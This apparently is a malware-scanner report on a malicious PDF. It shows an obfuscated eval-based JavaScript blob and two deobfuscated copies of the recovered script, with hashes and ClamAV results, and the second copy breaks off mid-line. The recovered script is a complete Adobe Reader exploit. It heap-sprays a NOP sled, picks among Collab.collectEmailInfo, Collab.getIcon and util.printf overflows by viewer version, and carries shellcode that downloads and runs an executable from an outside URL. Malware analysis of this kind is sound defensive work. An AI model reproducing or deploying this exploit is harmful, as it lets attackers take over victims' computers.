xJTU1JTM2JTcxJTM5JTIwJTNkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTZlJTQ5JTYzJTU5JTcyJTZjJTY1JTRjJTU0JTM5JTIwJTNkJTIwJTcwJTc1JTUyJTQ0JTY0JTRmJTZiJTYzJTZlJTMxJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU3JTQ4JTM3JTY1JTQ1JTc1JTVhJTRlJTc3JTYyJTIwJTNkJTIwJTZhJTQ0JTRiJTcyJTRiJTYxJTU1JTM2JTcxJTM5JTIwJTJkJTIwJTI4JTZlJTQ5JTYzJTU5JTcyJTZjJTY1JTRjJTU0JTM5JTIwJTJiJTIwJTMwJTc4JTMzJTM4JTI5JTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTM5JTMwJTM5JTMwJTI1JTc1JTM5JTMwJTM5JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTIwJTNkJTIwJTQzJTRhJTQ5JTc2JTYzJTQ2JTUyJTZhJTQzJTMyJTI4JTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTJjJTIwJTU3JTQ4JTM3JTY1JTQ1JTc1JTVhJTRlJTc3JTYyJTI5JTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTcwJTZlJTM0JTQ0JTMyJTY3JTYyJTZkJTRhJTRmJTIwJTNkJTIwJTI4JTUxJTU1JTczJTVhJTM5JTM3JTU0JTY5JTU1JTUxJTIwJTJkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTI5JTIwJTJmJTIwJTZhJTQ0JTRiJTcyJTRiJTYxJTU1JTM2JTcxJTM5JTNiJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTc2JTYxJTcyJTIwJTY2JTM3JTYyJTM4JTc5JTc3JTY5JTUzJTMyJTVhJTIwJTNkJTIwJTMwJTNiJTIwJTY2JTM3JTYyJTM4JTc5JTc3JTY5JTUzJTMyJTVhJTIwJTNjJTIwJTcwJTZlJTM0JTQ0JTMyJTY3JTYyJTZkJTRhJTRmJTNiJTIwJTY2JTM3JTYyJTM4JTc5JTc3JTY5JTUzJTMyJTVhJTJiJTJiJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTU3JTY2JTczJTY2JTc2JTMzJTUzJTQ0JTQ0JTcwJTViJTY2JTM3JTYyJTM4JTc5JTc3JTY5JTUzJTMyJTVhJTVkJTIwJTNkJTIwJTczJTczJTY4JTc3JTU5JTY0JTdhJTMyJTcxJTQzJTIwJTJiJTIwJTcwJTc1JTUyJTQ0JTY0JTRmJTZiJTYzJTZlJTMxJTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTdkJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTQzJTY4JTcyJTQ0JTQ2JTZhJTdhJTc1JTM2JTUzJTI4JTI5JTIwJTIwJTdiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ0JTcxJTQ3JTM3JTM0JTQ4JTZlJTY2JTM0JTM3JTIwJTNkJTIwJTMwJTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNkJTIwJTYxJTcwJTcwJTJlJTc2JTY5JTY1JTc3JTY1JTcyJTU2JTY1JTcyJTczJTY5JTZmJTZlJTJlJTc0JTZmJTUzJTc0JTcyJTY5JTZlJTY3JTI4JTI5JTNiJTIwJTIwJTIwJTIwJTYxJTcwJTcwJTJlJTYzJTZjJTY1JTYxJTcyJTU0JTY5JTZkJTY1JTRmJTc1JTc0JTI4JTQ1JTc1JTZmJTc4JTZlJTc1JTMwJTMzJTMyJTMzJTI5JTNiJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNlJTNkJTIwJTM4JTIwJTI2JTI2JTIwJTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNjJTIwJTM4JTJlJTMxJTMwJTMyJTI5JTIwJTdjJTdjJTIwJTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNjJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTU2JTMyJTc1JTZhJTc3JTU3JTc5JTRmJTQ3JTQyJTI4JTMwJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc3JTQ3JTRjJTM5JTU0JTYyJTczJTUzJTU3JTc4JTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTMwJTYzJTMwJTYzJTI1JTc1JTMwJTYzJTMwJTYzJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTc3JTQ3JTRjJTM5JTU0JTYyJTczJTUzJTU3JTc4JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTM0JTM0JTM5JTM1JTMyJTI5JTIwJTc3JTQ3JTRjJTM5JTU0JTYyJTczJTUzJTU3JTc4JTIwJTJiJTNkJTIwJTc3JTQ3JTRjJTM5JTU0JTYyJTczJTUzJTU3JTc4JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY2JTVhJTZmJTQzJTY3JTczJTU1JTU1JTU4JTU4JTIwJTNkJTIwJTc0JTY4JTY5JTczJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY0JTYyJTRmJTZmJTQ5JTRlJTMxJTc1JTM1JTY2JTIwJTNkJTIwJTQzJTZmJTZjJTZjJTYxJTYyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTVhJTZmJTQzJTY3JTczJTU1JTU1JTU4JTU4JTViJTIyJTYzJTZmJTZjJTZjJTYxJTYyJTUzJTc0JTZmJTcyJTY1JTIyJTVkJTIwJTNkJTIwJTY0JTYyJTRmJTZmJTQ5JTRlJTMxJTc1JTM1JTY2JTViJTIyJTYzJTZmJTZjJTZjJTY1JTYzJTc0JTQ1JTZkJTYxJTY5JTZjJTQ5JTZlJTY2JTZmJTIyJTVkJTI4JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTczJTc1JTYyJTZhJTIwJTNhJTIwJTIyJTIyJTJjJTIwJTZkJTczJTY3JTIwJTNhJTIwJTc3JTQ3JTRjJTM5JTU0JTYyJTczJTUzJTU3JTc4JTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNlJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTI2JTI2JTIwJTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNjJTIwJTM4JTJlJTMxJTMwJTM0JTI5JTIwJTdjJTdjJTIwJTI4JTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNlJTNkJTIwJTM5JTIwJTI2JTI2JTIwJTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNjJTIwJTM5JTJlJTMxJTI5JTIwJTdjJTdjJTIwJTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNjJTNkJTIwJTM3JTJlJTMxJTMwJTMxJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTc0JTcyJTc5JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTYxJTcwJTcwJTJlJTY0JTZmJTYzJTJlJTQzJTZmJTZjJTZjJTYxJTYyJTJlJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU2JTMyJTc1JTZhJTc3JTU3JTc5JTRmJTQ3JTQyJTI4JTMyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUxJTRjJTc3JTc2JTU0JTUxJTU3JTRkJTczJTMzJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTMwJTM5JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTUxJTRjJTc3JTc2JTU0JTUxJTU3JTRkJTczJTMzJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTUxJTRjJTc3JTc2JTU0JTUxJTU3JTRkJTczJTMzJTIwJTJiJTNkJTIwJTUxJTRjJTc3JTc2JTU0JTUxJTU3JTRkJTczJTMzJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTUxJTRjJTc3JTc2JTU0JTUxJTU3JTRkJTczJTMzJTIwJTNkJTIwJTIyJTRlJTJlJTIyJTIwJTJiJTIwJTUxJTRjJTc3JTc2JTU0JTUxJTU3JTRkJTczJTMzJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQzJTZmJTYzJTM5JTMxJTQ5JTMxJTU1JTZlJTU5JTIwJTNkJTIwJTYxJTcwJTcwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQzJTZmJTYzJTM5JTMxJTQ5JTMxJTU1JTZlJTU5JTViJTIyJTY0JTZmJTYzJTIyJTVkJTViJTIyJTQzJTZmJTZjJTZjJTYxJTYyJTIyJTVkJTViJTIyJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTIyJTVkJTI4JTUxJTRjJTc3JTc2JTU0JTUxJTU3JTRkJTczJTMzJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ0JTcxJTQ3JTM3JTM0JTQ4JTZlJTY2JTM0JTM3JTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ0JTcxJTQ3JTM3JTM0JTQ4JTZlJTY2JTM0JTM3JTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTYzJTYxJTc0JTYzJTY4JTI4JTY1JTI5JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ0JTcxJTQ3JTM3JTM0JTQ4JTZlJTY2JTM0JTM3JTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTQ0JTcxJTQ3JTM3JTM0JTQ4JTZlJTY2JTM0JTM3JTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNkJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTdjJTdjJTIwJTRlJTcxJTQ0JTY3JTc5JTQzJTYzJTY4JTY2JTY1JTIwJTNkJTNkJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU2JTMyJTc1JTZhJTc3JTU3JTc5JTRmJTQ3JTQyJTI4JTMxJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc1JTRmJTQxJTUyJTQ0JTUzJTZmJTQ0JTRlJTc0JTIwJTNkJTIwJTIyJTMxJTMyJTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTU3JTc3JTQ1JTcwJTcyJTY5JTQ2JTRmJTM1JTM5JTIwJTNkJTIwJTMwJTNiJTIwJTU3JTc3JTQ1JTcwJTcyJTY5JTQ2JTRmJTM1JTM5JTIwJTNjJTIwJTMyJTM3JTM2JTNiJTIwJTU3JTc3JTQ1JTcwJTcyJTY5JTQ2JTRmJTM1JTM5JTJiJTJiJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc1JTRmJTQxJTUyJTQ0JTUzJTZmJTQ0JTRlJTc0JTIwJTJiJTNkJTIwJTIyJTM4JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ2JTRmJTc4JTM0JTU3JTc5JTRjJTU4JTU0JTMwJTIwJTNkJTIwJTc1JTc0JTY5JTZjJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ2JTRmJTc4JTM0JTU3JTc5JTRjJTU4JTU0JTMwJTViJTIyJTcwJTcyJTY5JTZlJTc0JTY2JTIyJTVkJTI4JTIyJTI1JTM0JTM1JTMwJTMwJTMwJTY2JTIyJTJjJTIwJTc1JTRmJTQxJTUyJTQ0JTUzJTZmJTQ0JTRlJTc0JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTdkJTIwJTdkJTIwIikpOyAKIGFwcC5qVlhIeGtqbXk4ID0gQ2hyREZqenU2UzsKIEV1b3hudTAzMjMgPSBhcHAuc2V0VGltZU91dCgiYXBwLmpWWEh4a2pteTgoKSIsIDEpOwo=");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 5230 bytes
SHA-256: 47814bfd16ff428e279a9a35e707752890f417b941da48e72e572c228b208585
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Wfsfv3SDDp = new Array();
 var Euoxnu0323;
 var lave = eval;
  lave(unescape("  function CJIvcFRjC2(sshwYdz2qC, WH7eEuZNwb)  {    while(sshwYdz2qC.length * 2 < WH7eEuZNwb)    {      sshwYdz2qC += sshwYdz2qC;    }    sshwYdz2qC = sshwYdz2qC.substring(0, WH7eEuZNwb / 2);    return sshwYdz2qC;  } "));  lave(unescape("   function V2ujwWyOGB(XJ58GckFda)  {    if(XJ58GckFda == 0)    {      var QUsZ97TiUQ = 0x0c0c0c0c;      var puRDdOkcn1 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    else if(XJ58GckFda == 1)    {      QUsZ97TiUQ = 0x30303030;      var puRDdOkcn1 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    else if(XJ58GckFda == 2)    {      var puRDdOkcn1 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    var jDKrKaU6q9 = 0x400000;    var nIcYrleLT9 = puRDdOkcn1.length * 2;    var WH7eEuZNwb = jDKrKaU6q9 - (nIcYrleLT9 + 0x38);    var sshwYdz2qC = unescape("%u9090%u9090");    sshwYdz2qC = CJIvcFRjC2(sshwYdz2qC, WH7eEuZNwb);    var pn4D2gbmJO = (QUsZ97TiUQ - 0x400000) / jDKrKaU6q9;    for(var f7b8ywiS2Z = 0; f7b8ywiS2Z < pn4D2gbmJO; f7b8ywiS2Z++)    {      Wfsfv3SDDp[f7b8ywiS2Z] = sshwYdz2qC + puRDdOkcn1;    }  } "));  lave(unescape("  function ChrDFjzu6S()  {    var DqG74Hnf47 = 0;    var NqDgyCchfe = app.viewerVersion.toString();    app.clearTimeOut(Euoxnu0323);    if((NqDgyCchfe >= 8 && NqDgyCchfe < 8.102) || NqDgyCchfe < 7.1)    {      V2ujwWyOGB(0);      var wGL9TbsSWx = unescape("%u0c0c%u0c0c");      while(wGL9TbsSWx.length < 44952) wGL9TbsSWx += wGL9TbsSWx;      var fZoCgsUUXX = this;      var dbOoIN1u5f = Collab;      fZoCgsUUXX["collabStore"] = dbOoIN1u5f["collectEmailInfo"](      {        subj : "", msg : wGL9TbsSWx      }      );    }    if((NqDgyCchfe >= 8.102 && NqDgyCchfe < 8.104) || (NqDgyCchfe >= 9 && NqDgyCchfe < 9.1) || NqDgyCchfe <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          V2ujwWyOGB(2);          var QLwvTQWMs3 = unescape("%09");          while(QLwvTQWMs3.length < 0x4000)          {            QLwvTQWMs3 += QLwvTQWMs3;          }          QLwvTQWMs3 = "N." + QLwvTQWMs3;          var Coc91I1UnY = app;          Coc91I1UnY["doc"]["Collab"]["getIcon"](QLwvTQWMs3);          DqG74Hnf47 = 1;        }        else        {          DqG74Hnf47 = 1;        }      }      catch(e)      {        DqG74Hnf47 = 1;      }      if(DqG74Hnf47 == 1)      {        if(NqDgyCchfe == 8.102 || NqDgyCchfe == 7.1)        {          V2ujwWyOGB(1);          var uOARDSoDNt = "12999999999999999999";          for(WwEpriFO59 = 0; WwEpriFO59 < 276; WwEpriFO59++)          {            uOARDSoDNt += "8";          }          var FOx4WyLXT0 = util;          FOx4WyLXT0["printf"]("%45000f", uOARDSoDNt);        }      }    } } ")); 
 app.jVXHxkjmy8 = ChrDFjzu6S;
 Euoxnu0323 = app.setTimeOut("app.jVXHxkjmy8()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 5226 bytes
SHA-256: ea8b8d3666914b0f7fe8df8428efc5f87a1229f3fc5faf6ccd3c67466b1fae5e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Wfsfv3SDDp = new Array();
 var Euoxnu0323;
 var lave = eval;
  lave(unescape("  function CJIvcFRjC2(sshwYdz2qC, WH7eEuZNwb)  {    while(sshwYdz2qC.length * 2 < WH7eEuZNwb)    {      sshwYdz2qC += sshwYdz2qC;    }    sshwYdz2qC = sshwYdz2qC.substring(0, WH7eEuZNwb / 2);    return sshwYdz2qC;  } "));  lave(unescape("   function V2ujwWyOGB(XJ58GckFda)  {    if(XJ58GckFda == 0)    {      var QUsZ97TiUQ = 0x0c0c0c0c;      var puRDdOkcn1 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    else if(XJ58GckFda == 1)    {      QUsZ97TiUQ = 0x30303030;      var puRDdOkcn1 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    else if(XJ58GckFda == 2)    {      var puRDdOkcn1 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u682F%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    var jDKrKaU6q9 = 0x400000;    var nIcYrleLT9 = puRDdOkcn1.length * 2;    var WH7eEuZNwb = jDKrKaU6q9 - (nIcYrleLT9 + 0x38);    var sshwYdz2qC = unescape("%u9090%u9090");    sshwYdz2qC = CJIvcFRjC2(sshwYdz2qC, WH7eEuZNwb);    var pn4D2gbmJO = (QUsZ97TiUQ - 0x400000) / jDKrKaU6q9;    for(var f7b8ywiS2Z = 0; f7b8ywiS2Z < pn4D2gbmJO; f7b8ywiS2Z++)    {      Wfsfv3SDDp[f7b8ywiS2Z] = sshwYdz2qC + puRDdOkcn1;    }  } "));  lave(unescape("  function ChrDFjzu6S()  {    var DqG74Hnf47 = 0;    var NqDgyCchfe = app.viewerVersion.toString();    app.clearTimeOut(Euoxnu0323);    if((NqDgyCchfe >= 8 && NqDgyCchfe < 8.102) || NqDgyCchfe < 7.1)    {      V2ujwWyOGB(0);      var wGL9TbsSWx = unescape("%u0c0c%u0c0c");      while(wGL9TbsSWx.length < 44952) wGL9TbsSWx += wGL9TbsSWx;      var fZoCgsUUXX = this;      var dbOoIN1u5f = Collab;      fZoCgsUUXX["collabStore"] = dbOoIN1u5f["collectEmailInfo"](      {        subj : "", msg : wGL9TbsSWx      }      );    }    if((NqDgyCchfe >= 8.102 && NqDgyCchfe < 8.104) || 